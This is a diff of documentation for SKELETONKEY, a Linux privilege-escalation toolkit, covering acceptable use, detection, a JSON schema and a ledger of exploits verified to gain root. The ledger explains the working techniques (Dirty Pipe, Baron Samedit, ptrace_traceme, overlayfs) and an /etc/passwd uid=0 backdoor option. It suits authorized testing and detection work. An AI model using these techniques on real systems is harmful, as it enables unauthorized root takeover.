sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
||||
|
||||
# Stage 2: mitigate (where supported)
|
||||
sudo iamroot --mitigate <module>
|
||||
sudo skeletonkey --mitigate <module>
|
||||
|
||||
# Stage 3: monitor — auditd rules already deployed
|
||||
sudo ausearch -k 'iamroot-*' -ts today | grep <module>
|
||||
sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
|
||||
|
||||
# Stage 4: contain — temporarily restrict the trigger surface
|
||||
# e.g., for nf_tables CVE-2024-1086:
|
||||
@@ -281,7 +446,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
|
||||
|
||||
## Maintenance contract
|
||||
|
||||
When IAMROOT ships a new module:
|
||||
When SKELETONKEY ships a new module:
|
||||
|
||||
1. CI test passes on at least one vulnerable + patched kernel pair
|
||||
2. Detection rules ship alongside (auditd + sigma minimum)
|
||||
@@ -293,7 +458,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
|
||||
|
||||
## When you find a new false positive
|
||||
|
||||
File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
|
||||
File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
|
||||
- The exact ausearch line that fired
|
||||
- The legitimate process that produced it
|
||||
- Distro / kernel version
|
||||
|
||||
+13
-13
@@ -2,24 +2,24 @@
|
||||
|
||||
## Acceptable use
|
||||
|
||||
IAMROOT is intended for:
|
||||
SKELETONKEY is intended for:
|
||||
|
||||
1. **Authorized red-team / pentest engagements.** You have a written
|
||||
scope, signed by someone who can authorize testing on the target
|
||||
systems.
|
||||
2. **Defensive teams testing detection coverage.** You're using
|
||||
IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
|
||||
SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
|
||||
expected.
|
||||
3. **Security researchers studying historical LPEs.** You're reading
|
||||
the code, running it in your own VMs, learning how the primitives
|
||||
actually work end-to-end.
|
||||
4. **Build engineers verifying patch coverage.** You're running
|
||||
`iamroot --scan` against your fleet's golden images to confirm
|
||||
`skeletonkey --scan` against your fleet's golden images to confirm
|
||||
each known CVE shows up as patched.
|
||||
|
||||
## Not-acceptable use
|
||||
|
||||
IAMROOT should not be used:
|
||||
SKELETONKEY should not be used:
|
||||
|
||||
1. On systems you do not own and have not been authorized to test
|
||||
2. As part of unauthorized access to any system
|
||||
@@ -28,18 +28,18 @@ IAMROOT should not be used:
|
||||
4. To build a worm, scanner, or any tool that automatically targets
|
||||
systems at scale without per-target authorization
|
||||
|
||||
By using IAMROOT you assert that your use falls into the
|
||||
By using SKELETONKEY you assert that your use falls into the
|
||||
acceptable-use cases above.
|
||||
|
||||
## Why this is publishable
|
||||
|
||||
Every CVE bundled in IAMROOT is:
|
||||
Every CVE bundled in SKELETONKEY is:
|
||||
|
||||
- **Already patched** in upstream mainline kernel
|
||||
- **Already published** in NVD or distro security trackers
|
||||
- **Already covered** by existing public PoCs
|
||||
|
||||
IAMROOT does not introduce new offensive capability. It bundles,
|
||||
SKELETONKEY does not introduce new offensive capability. It bundles,
|
||||
documents, and CI-tests what is already public — and ships the
|
||||
detection signatures defenders need to spot it.
|
||||
|
||||
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
|
||||
|
||||
## Disclosure
|
||||
|
||||
If you find a bug in IAMROOT itself (incorrect detection, broken
|
||||
If you find a bug in SKELETONKEY itself (incorrect detection, broken
|
||||
exploit on a kernel where it should work, missing a backport in the
|
||||
range metadata): file a public GitHub issue.
|
||||
|
||||
If you find a **new 0-day kernel LPE while inspired by reading
|
||||
IAMROOT code**: please disclose it responsibly to the kernel
|
||||
SKELETONKEY code**: please disclose it responsibly to the kernel
|
||||
security team (`security@kernel.org`) and the affected distros
|
||||
*before* writing a public PoC. Once upstream patch ships and a CVE
|
||||
is assigned, IAMROOT will gladly accept the module.
|
||||
is assigned, SKELETONKEY will gladly accept the module.
|
||||
|
||||
## Persistence and stealth are out of scope
|
||||
|
||||
`--exploit-backdoor` in the copy_fail module overwrites a
|
||||
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
|
||||
|
||||
- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
|
||||
- It's covered by the auditd rules IAMROOT ships
|
||||
- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
|
||||
- It's covered by the auditd rules SKELETONKEY ships
|
||||
- `--cleanup-backdoor` restores the original line
|
||||
|
||||
If you're looking for evasion, persistence, or stealth: not here.
|
||||
Use a real C2 framework if you have authorization to do so. IAMROOT
|
||||
Use a real C2 framework if you have authorization to do so. SKELETONKEY
|
||||
stops at "demonstrate that the bug works."
|
||||
|
||||
@@ -0,0 +1,278 @@
|
||||
# Exploit verification ledger
|
||||
|
||||
**What this is:** results of actually *running each exploit* against a genuinely
|
||||
vulnerable VM and confirming `uid=0` **out of band** (an independent root-owned
|
||||
write / `/etc/shadow` read / setuid-bash sentinel — never the module's own
|
||||
self-report). This is distinct from `docs/VERIFICATIONS.jsonl`'s historical
|
||||
records, which only checked that `detect()` returns the right verdict.
|
||||
|
||||
Harness: rootless qemu/KVM over frozen point-release cloud images (unpatched →
|
||||
vulnerable by default), driver in the session scratch dir. Root witnessed via
|
||||
`witness.sh` (shell-probe + setuid-bash finisher + module sentinels + `/etc/passwd`
|
||||
tamper check).
|
||||
|
||||
> **Headline finding:** the corpus was only ever *detect*-verified, never
|
||||
> *exploit*-verified. Running the exploits shows a mix of genuinely-working,
|
||||
> honestly-failing, and **falsely-succeeding** modules. Three modules reported
|
||||
> `EXPLOIT_OK` while obtaining **no root at all** (`pwnkit`, `ptrace_traceme`,
|
||||
> `dirty_pipe`) — a false positive from the dispatcher's "execve transferred →
|
||||
> clean child exit = OK" path (the exploit `execlp`'s a helper that then fails).
|
||||
> `dirty_pipe` additionally *corrupted the running system* (its unprivileged
|
||||
> `drop_caches` revert left /etc/passwd poisoned). All three are fixed below and
|
||||
> now either land real root or fail honestly.
|
||||
|
||||
## Confirmed landing root (uid=0 witnessed out of band)
|
||||
|
||||
| module | CVE | target | notes |
|
||||
|---|---|---|---|
|
||||
| `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687.el9 | full chain, `/etc/passwd` → root (earlier) |
|
||||
| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up; **direct uid=0 witness** (cap'd payload drops a root-owned proof) |
|
||||
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | **after a full rewrite** — see below |
|
||||
| `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below |
|
||||
| `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 |
|
||||
| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes** — `chdir("/")` + helper basename match; `su skel` → uid 0 |
|
||||
| `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h <host>` → uid 0 (needs a host-scoped rule + resolvable host) |
|
||||
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
|
||||
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
|
||||
| `dirty_pipe` | CVE-2022-0847 | mainline 5.16.0 on Ubuntu 22.04 userspace | **after fixing 3 bugs** — `skeletonkey --exploit dirty_pipe` (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
|
||||
| `dirty_cow` | CVE-2016-5195 | mainline 4.8.0 on Ubuntu 16.04.7 | **after fixing the false-OK** — verbatim-module standalone (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
|
||||
|
||||
## Fixed this session
|
||||
|
||||
- **`pwnkit`** — reported `EXPLOIT_OK` but did **not** root (glibc "Could not
|
||||
open converter … to PWNKIT"). Root cause: missing the `GCONV_PATH=.`
|
||||
re-injection directory + `chdir(workdir)`. Fixed → now lands real root on a
|
||||
vulnerable host. (commit `24b839e`)
|
||||
- **`ptrace_traceme`** (CVE-2019-13272) — first made **honest** (it had reported a
|
||||
false `EXPLOIT_OK` with a placeholder that had the mechanism *backwards* —
|
||||
attaching to the parent), then **rewritten and now lands real root** (uid=0
|
||||
witnessed out-of-band on Ubuntu 18.04.0 / 4.15.0-50). The correct mechanism is
|
||||
the reverse of the old placeholder: a *middle* process execs setuid `pkexec`
|
||||
(euid 0 for a window); its *child* spins until it sees that euid-0, calls
|
||||
`PTRACE_TRACEME` (recording the parent's **root** creds as its ptracer_cred —
|
||||
the bug), then execs `pkexec` itself — the traced setuid exec is **not
|
||||
degraded** because ptracer_cred is root, so the child becomes real root, and a
|
||||
staged `execveat()` self-re-exec injects the payload. Ported the proven Jann
|
||||
Horn / bcoles PoC verbatim (only `spawn_shell()` changed, to plant a root-owned
|
||||
proof + setuid bash), embedded as `ptrace_helper_src.h`, compiled on the target
|
||||
at runtime with unique `-DSK_PROOF/-DSK_ROOTBASH` paths, run, and verified by
|
||||
`stat()`-ing the root-owned artifacts. **Real-world precondition** (honestly
|
||||
reported): pkexec must *authorize* an auto-discovered `implicit-active=yes`
|
||||
helper, which needs an **active local session** (desktop) or an equivalently
|
||||
permissive polkit policy; over a bare *inactive* ssh session pkexec returns
|
||||
"Not authorized" and the module reports `EXPLOIT_FAIL` with that diagnosis. On
|
||||
the headless VM this was isolated with a permissive `pkla` for the backlight
|
||||
helper action — the kernel bug and the whole technique are confirmed; the gate
|
||||
is polkit, not the exploit.
|
||||
- **`overlayfs_setuid`** (CVE-2023-0386) — **rewritten and now lands real root**
|
||||
(uid=0 witnessed out-of-band on Ubuntu 22.04.0 / 5.15.0-25). The shipped
|
||||
module used a bogus `chown`-the-merged-view technique that never worked. The
|
||||
real bug needs a **FUSE lower layer** exporting a setuid-root file; overlay
|
||||
copy-up then materialises it in the real upper as a genuine setuid-root
|
||||
binary. Key findings from the port (all four were required):
|
||||
1. Overlay refuses a **userns-mounted** FUSE lowerdir (ENOSYS) — FUSE must
|
||||
be mounted in the **init ns** via the setuid `fusermount` helper (libfuse
|
||||
does this). A raw `/dev/fuse` server was tried and abandoned: its INIT
|
||||
handshake needs `poll()` on the non-blocking fd, and a malformed reply
|
||||
destabilised the kernel — fragile and inappropriate. libfuse is linked
|
||||
conditionally (pkg-config `fuse`/`fuse3`), matching `pack2theroot`.
|
||||
2. **fuse2** low-level API (`fuse_mount`/`fuse_new`/`fuse_loop_mt`, empty
|
||||
args) — `fuse_main` advertises splice/copy_file_range caps that make the
|
||||
kernel attempt `copy_file_range` at copy-up → ENOSYS with no fallback.
|
||||
3. **`read_buf`** callback (copy-up's splice read path).
|
||||
4. **`ioctl`** callback — copy-up issues `FS_IOC_GETFLAGS` on the lower; a
|
||||
server without an ioctl handler returns ENOSYS and copy-up fails. This
|
||||
was the last missing piece.
|
||||
Debugging was isolated by driving the exploit orchestration against the public
|
||||
PoC's `./fuse`, then swapping servers, then comparing `fops`.
|
||||
- **`sudo_samedit`** (CVE-2021-3156, "Baron Samedit") — the corpus's hardest
|
||||
userspace target, **rewritten and now lands real root** (uid=0 witnessed
|
||||
out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as an unprivileged
|
||||
non-sudoer). The shipped module drove a structural trigger with no offsets and
|
||||
honestly reported `EXPLOIT_FAIL`. Ported blasty's technique: the `sudoedit -s`
|
||||
unescape overflow overwrites a glibc NSS `service_user`, so the lookup dlopen's
|
||||
an attacker-planted `libnss_X/'P0P_SH3LLZ_ .so.2'` from CWD; its constructor
|
||||
runs while sudo is still root. The module compiles the NSS payload on the target
|
||||
(unique `-DSK_PROOF/-DSK_ROOTBASH`), lays out the `libnss_X/` dir, execs sudoedit
|
||||
with the crafted argv/env (per-libc grooming lengths: Ubuntu 56/54/63/212,
|
||||
Debian 64/49/60/214), and verifies root by `stat()`-ing the artifacts. Primary
|
||||
lengths landed first try; a `null_stomp_len` sweep (±8, the axis blasty's
|
||||
brute.sh perturbs) is the fallback for libc drift. Needs cc on the target.
|
||||
- **`dirty_pipe`** (CVE-2022-0847) — **three bugs fixed; now lands real root**
|
||||
(uid=0 witnessed out-of-band on a genuinely pre-fix **mainline 5.16.0** kernel —
|
||||
provisioned by installing the kernel.ubuntu.com 5.16.0 debs on the jammy image,
|
||||
since every cached cloud image was either pre-5.8 or backport-patched). The
|
||||
shipped exploit (1) flipped the *caller's* UID to `0000` and ran `su self`,
|
||||
which still demands the caller's password — it never rooted anything; (2)
|
||||
`execlp`'d su, so the dispatcher's exec-transfer path reported a **false
|
||||
`EXPLOIT_OK`** even on the auth failure; and (3) reverted with `drop_caches`,
|
||||
which needs root — so as an unprivileged caller it **left the running system's
|
||||
/etc/passwd page cache corrupted** (this actually broke sshd's user resolution
|
||||
in testing). Rewrote it to the reliable technique: overwrite **root's** password
|
||||
field with a known crypt hash, authenticate as root over a **pty** with the
|
||||
matching password (su reads the password from the controlling tty, not stdin),
|
||||
plant a root-owned proof + setuid bash, and **revert the page cache via the
|
||||
Dirty Pipe primitive itself** (write the saved original bytes back — no root, no
|
||||
drop_caches). Verified `/etc/passwd` is byte-identical afterward. Root judged
|
||||
only by the out-of-band artifact.
|
||||
- **`dirty_cow`** (CVE-2016-5195) — **same three bugs as `dirty_pipe`, fixed the
|
||||
same way** (found by the false-`EXPLOIT_OK` audit below). It raced the
|
||||
*caller's* UID field to `0000` then ran `su self` (needs the caller's password
|
||||
→ never rooted anything), `execlp`'d su so the exec-transfer path reported a
|
||||
**false `EXPLOIT_OK`**, and reverted with `drop_caches` (needs root → corrupts
|
||||
the running /etc/passwd). Rewrote to: race **root's** password field to a known
|
||||
`$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid
|
||||
bash → revert by racing the original bytes back through the Dirty COW primitive.
|
||||
Also fixed a latent buffer overflow (the success-check `readback[16]` was too
|
||||
small for a >16-byte payload), and made the `su`-over-pty step **poll for the
|
||||
prompt with a hard 20s cap** — a fixed-delay write raced su's prompt setup and
|
||||
**hung on xenial**, which (without the cap) would have blocked the revert and
|
||||
left /etc/passwd poisoned. The same robust `su` helper was back-ported to
|
||||
`dirty_pipe`. **Verified end-to-end on a genuinely Dirty-COW-vulnerable
|
||||
mainline 4.8.0 kernel** (provisioned by installing the kernel.ubuntu.com 4.8.0
|
||||
deb on a 16.04 image + a virtio-rng for entropy): a standalone built verbatim
|
||||
from the module's primitive + escalation + robust su raced root's passwd field,
|
||||
authenticated as root, planted a root-owned setuid bash, and left /etc/passwd
|
||||
byte-identical. (The full `skeletonkey` binary won't compile on xenial's 4.4-era
|
||||
uapi headers — several unrelated `nft_*` modules use newer kernel constants — so
|
||||
the verbatim standalone stands in for `--exploit dirty_cow` on that box.)
|
||||
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
||||
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
||||
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
||||
mount EPERM). Now the userns+cgroupns+mount setup is correct. It still can't
|
||||
root a **bare** unprivileged user on a stock systemd host: every v1 controller
|
||||
is pre-mounted (its `release_agent` is init-owned → EACCES from the userns)
|
||||
and a fresh named hierarchy is refused. Reachable in a **container** context
|
||||
(CAP_SYS_ADMIN / an ownable cgroup) — matches its "host root from rootless
|
||||
container" framing. The `getuid()`-after-`unshare` bug is a pattern to grep
|
||||
for across the other userns modules.
|
||||
|
||||
## False-`EXPLOIT_OK` audit (every module that transfers the process via `exec*`)
|
||||
|
||||
The dispatcher's `run_callback_isolated` forks the exploit and, if it `execve`s
|
||||
(FD_CLOEXEC closes the result pipe → parent reads EOF, no crash signal), reports
|
||||
`EXPLOIT_OK` **regardless of whether the exec'd program actually rooted anything**.
|
||||
So any exploit whose main path exec's a *not-guaranteed-root* target lies. Audited
|
||||
every `exec*`-calling module:
|
||||
|
||||
| module | verdict | why |
|
||||
|---|---|---|
|
||||
| `dirty_cow` | ❌ **false-OK → fixed + verified** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed + verified end-to-end on mainline 4.8.0 (see above). |
|
||||
| `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies |
|
||||
| `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||
| `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||
| `sudo_host` | ✅ safe | runs `sudo -n -h <host> id -u` witness (uid 0) *before* the exec |
|
||||
| `sudo_chwoot` | ✅ safe | forks sudo in a child, then `stat`s the setuid bash root-owned |
|
||||
| `cgroup_release_agent` | ✅ safe | polls for the root-owned setuid shell before exec |
|
||||
| `fuse_legacy` | ✅ honest | gates the exec on real `setuid(0)==0 && getuid()==0`; else `EXPLOIT_FAIL` |
|
||||
| `overlayfs` | ⚠️ proxy (low risk) | confirms the `security.capability` xattr persisted via `getxattr` before exec'ing the cap'd payload — strong proxy, works, but not a direct root witness |
|
||||
| `sudoedit_editor` | ⚠️ works, reporting unverified | plants a passwordless `skel:0:0` entry + `su skel` (confirmed to root), but returns `EXPLOIT_OK` unconditionally — would false-OK if su failed |
|
||||
| `dirtydecrypt`, `fragnesia`, `copy_fail_family` (`exploit_su.c`) | ✅ proxy-verified | exec the hijacked setuid target only after **verifying the shellcode/payload actually landed in the page cache** (`verify_plant` / `rc==1` / `WEXITSTATUS==0`) and reverting otherwise — a real effect-check, not a blind exec-transfer. 2026-target-gated. |
|
||||
| `ptrace_pidfd` | ✅ n/a | the `execve` is the *victim* being raced (fd-steal), not an escalation |
|
||||
| `mutagen_astronomy` | ✅ n/a | env-gated scaffold; SIGSEGVs by design |
|
||||
|
||||
Net: the exec-transfer trap produced **four** genuine false-OKs (`pwnkit`,
|
||||
`ptrace_traceme`, `dirty_pipe`, `dirty_cow`) — all now fixed and verified. The
|
||||
audit was then **broadened to every `EXPLOIT_OK` return site** (not just
|
||||
exec-transfer): the rest are backed by a genuine out-of-band check — a
|
||||
root-owned artifact `stat` (`sudo_chwoot`, `overlayfs`), a `getxattr`
|
||||
bug-signature, a `/etc/passwd` grep of the injected entry (`sudoedit_editor`,
|
||||
`refluxfs`), a real `setuid(0)==0` gate (`fuse_legacy`), or a page-cache
|
||||
`verify_plant` before the hijack exec (`copy_fail_family`, `dirtydecrypt`,
|
||||
`fragnesia`). **No further false-OKs remain.** `overlayfs` was additionally
|
||||
upgraded from its `getxattr` proxy to a **direct uid=0 witness** (the cap'd
|
||||
payload now drops a root-owned proof, re-verified on focal 5.4.0-26).
|
||||
|
||||
## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land)
|
||||
|
||||
| module | CVE | target tested | what's wrong |
|
||||
|---|---|---|---|
|
||||
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. |
|
||||
| *(none left in this table — `sudo_samedit` was the last, now working; see "Fixed this session")* | | | |
|
||||
|
||||
## Inconclusive (detect version-blind vs vendor backport)
|
||||
|
||||
*(none outstanding — `dirty_pipe` was here; now verified on a genuinely
|
||||
pre-fix mainline 5.16.0 kernel, see "Fixed this session".)*
|
||||
|
||||
## Kernel primitives — offset path fixed; `nf_tables` gap scoped (this session)
|
||||
|
||||
**Resolver bug fixed (`core/offsets.c`, commit `cd9bea6`).** The documented
|
||||
env-var offset override (`SKELETONKEY_MODPROBE_PATH` etc.) was **silently wiped on
|
||||
every default host**: `parse_symfile` reads `/proc/kallsyms`, which returns
|
||||
all-zero addresses under `kptr_restrict`, and then *unconditionally* zeroed
|
||||
`modprobe_path`/`init_task` — clobbering the values `apply_env` had just set. Net
|
||||
effect: every `--full-chain` primitive reported "offsets couldn't be resolved"
|
||||
even with correct offsets supplied. Now the all-zero path only clears fields it
|
||||
tagged `OFFSETS_FROM_KALLSYMS` itself. **This was the blocker for the entire
|
||||
primitive full-chain path.** Verified fixed on Ubuntu 22.04.0 / 5.15.0-25:
|
||||
`--full-chain` now prints `modprobe_path=0x… (env)`, the finisher engages, and the
|
||||
arb-write fires.
|
||||
|
||||
**`nf_tables` (CVE-2024-1086) — kernel CONFIRMED vulnerable; module gap scoped.**
|
||||
Followed the full methodology (test → confirm kernel → pull PoC → diff):
|
||||
- **Kernel is genuinely vulnerable.** Built Notselwyn's public universal PoC
|
||||
(`github.com/Notselwyn/CVE-2024-1086`, musl-static) on jammy 5.15.0-25 (below the
|
||||
patched branch 5.15.149) and ran it: it drove the exploit and hit the deliberate
|
||||
post-exploitation `kernel BUG at mm/slub.c:379` / `Kernel panic` — i.e. the
|
||||
cross-cache slab corruption fired. Kernel confirmed exploitable.
|
||||
- **The difference.** The module (its own header is honest about this) is a
|
||||
**trigger + groom scaffold**: it builds the `NFT_GOTO+NFT_DROP` verdict combo
|
||||
that `nft_verdict_init()` fails to reject, fires the double-free, and runs the
|
||||
`msg_msg` cg-96 groom — all real. But its arb-write is "FALLBACK-DEPTH": the
|
||||
exact `pipapo_elem` layout + value-pointer offset needed to redirect the write
|
||||
at `modprobe_path` is a documented TODO, so the write doesn't land → honest
|
||||
`EXPLOIT_FAIL`. Notselwyn's working exploit uses a *different, heavier* technique
|
||||
entirely — **universal cross-cache → dirty-pagetable** (arbitrary physical R/W,
|
||||
no per-kernel offsets), ~2000 LOC across multiple files with static
|
||||
`libnftnl`/`libmnl`.
|
||||
- **Scope of the remaining fix.** Making `nf_tables --full-chain` land root means
|
||||
either (a) completing the module's own per-kernel `pipapo_elem` arb-write layout,
|
||||
or (b) porting Notselwyn's universal technique. Both are substantial dedicated
|
||||
exploit-dev — this is the hardest module in the corpus, not a spot-the-bug fix.
|
||||
The offset resolver (above) is the piece that was actually broken and is now
|
||||
fixed + pushed.
|
||||
|
||||
- **Other 🟡 kernel primitives** (`nft_set_uaf`, `nft_payload`, `nft_fwd_dup`,
|
||||
`netfilter_xtcompat`, `af_packet`, `af_packet2`, `af_unix_gc`, `cls_route4`,
|
||||
`fuse_legacy`, `stackrot`, `sequoia`, `nft_pipapo`, `vsock_uaf`, `pintheft`):
|
||||
same shape — real trigger/groom scaffolds returning `EXPLOIT_FAIL` by design.
|
||||
The resolver fix unblocks feeding them offsets; each still needs its arb-write
|
||||
primitive completed against a matching vulnerable kernel.
|
||||
|
||||
**`netfilter_xtcompat` (CVE-2021-22555) — empirical note on why the primitives are
|
||||
hard.** Attempted the corpus's *most tractable* primitive first: it has a clean,
|
||||
well-regarded single-file public exploit (Andy Nguyen / Google, the `IPT_SO_SET_
|
||||
REPLACE` heap-OOB → `msg_msg` cross-cache → cred overwrite). Kernel confirmed
|
||||
vulnerable (Ubuntu 20.04 GA 5.4.0-26, and a provisioned mainline 5.8.0 — both pre
|
||||
the 5.4.0-77 / 5.8.0-53 fix). **But the reference exploit consistently fails at
|
||||
STAGE 1 ("could not corrupt any primary message") on both**, because it is tuned
|
||||
for *Ubuntu's exact `5.8.0-48-generic` config* (the tested target). The slab
|
||||
behaviour that governs whether the OOB write lands next to a sprayed `msg_msg`
|
||||
(freelist randomisation, memcg kmem accounting, SLUB merge) differs between
|
||||
mainline and Ubuntu-patched kernels, and Ubuntu's EOL `5.8.0-48` HWE debs are no
|
||||
longer readily sourceable. Takeaway: kernel primitives are **config-and-version-
|
||||
specific exploit-dev** — even a "drop-in" reference exploit needs its exact target
|
||||
kernel image plus per-target slab tuning, and then a full port (~760 LOC here,
|
||||
~2000 for `nf_tables`/Notselwyn). This is a per-primitive, multi-session effort;
|
||||
it is NOT the "spot the bug and fix it" tier the userspace modules were.
|
||||
- **Structural userspace** (`sudoedit_editor`, `sudo_chwoot`, `sudo_host`):
|
||||
need specific sudo versions + sudoers config; likely tractable.
|
||||
- **2026 CVEs** (`copy_fail` ×5, `dirtydecrypt`, `fragnesia`, `cifswitch`,
|
||||
`nft_catchall`, `ptrace_pidfd`): need vulnerable 2026 kernels; the reconstructed
|
||||
race triggers (`bad_epoll`, `ghostlock`, `nft_catchall`) are deliberately
|
||||
under-driven and won't pop root by design.
|
||||
- **Environment-blocked**: `vmwgfx` (VMware guest only), `dirty_cow` (needs ≤4.4),
|
||||
`mutagen_astronomy` (CentOS 6 / Debian 7).
|
||||
- **D-Bus/desktop** (`pack2theroot`, `udisks_libblockdev`): need the polkit/D-Bus
|
||||
stack + a provisioner rule.
|
||||
|
||||
## Method notes for continuation
|
||||
|
||||
- Frozen images: `cloud-images-archive.ubuntu.com/releases/<name>/release-<date>/`
|
||||
are unpatched and vulnerable-by-default for CVEs disclosed after that date — far
|
||||
easier than downgrading packages on current images.
|
||||
- gcc must be present *in* the VM (several exploits compile payloads at runtime);
|
||||
on EOL LTS, point apt at the archive main pocket.
|
||||
- **Always verify root out of band.** The module self-report is not trustworthy
|
||||
(two flagships lied). `witness.sh` is the reference check.
|
||||
@@ -0,0 +1,139 @@
|
||||
# SKELETONKEY JSON output schema
|
||||
|
||||
`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
|
||||
single JSON object on **stdout**. All human-readable banner lines and
|
||||
per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
|
||||
and fleet aggregators get a clean machine-parseable document on
|
||||
stdout while operators still see diagnostics on stderr.
|
||||
|
||||
This document is the contract for that JSON. SKELETONKEY treats it
|
||||
as a stability commitment: new fields may appear in future releases,
|
||||
but existing field names and value types do not change without a
|
||||
major-version bump.
|
||||
|
||||
## Top-level object
|
||||
|
||||
```json
|
||||
{
|
||||
"version": "0.6.0",
|
||||
"modules": [ /* ... per-module entries ... */ ]
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|------------|----------|------------|---------|
|
||||
| `version` | string | stable | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
|
||||
| `modules` | array | stable | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
|
||||
|
||||
## Per-module entry
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "dirty_pipe",
|
||||
"cve": "CVE-2022-0847",
|
||||
"result": "OK"
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|----------|--------|-----------|---------|
|
||||
| `name` | string | stable | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
|
||||
| `cve` | string | stable | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
|
||||
| `result` | string | stable | One of the `result` enum values below. |
|
||||
|
||||
## `result` enum
|
||||
|
||||
| Value | Exit code | Meaning |
|
||||
|----------------|-----------|---------|
|
||||
| `OK` | 0 | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
|
||||
| `TEST_ERROR` | 1 | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
|
||||
| `VULNERABLE` | 2 | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
|
||||
| `EXPLOIT_FAIL` | 3 | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
|
||||
| `PRECOND_FAIL` | 4 | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
|
||||
| `EXPLOIT_OK` | 5 | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
|
||||
|
||||
## Process exit code semantics for `--scan`
|
||||
|
||||
The process exit code is the **worst (highest) result code** observed
|
||||
across all modules. This lets a SIEM treat the binary's exit code as
|
||||
a single-host alert level without re-parsing JSON:
|
||||
|
||||
| Exit code | Interpretation |
|
||||
|-----------|-----------------------------------------------------|
|
||||
| 0 | All modules `OK`. Host is patched for the corpus. |
|
||||
| 1 | At least one module returned `TEST_ERROR`. Investigate. |
|
||||
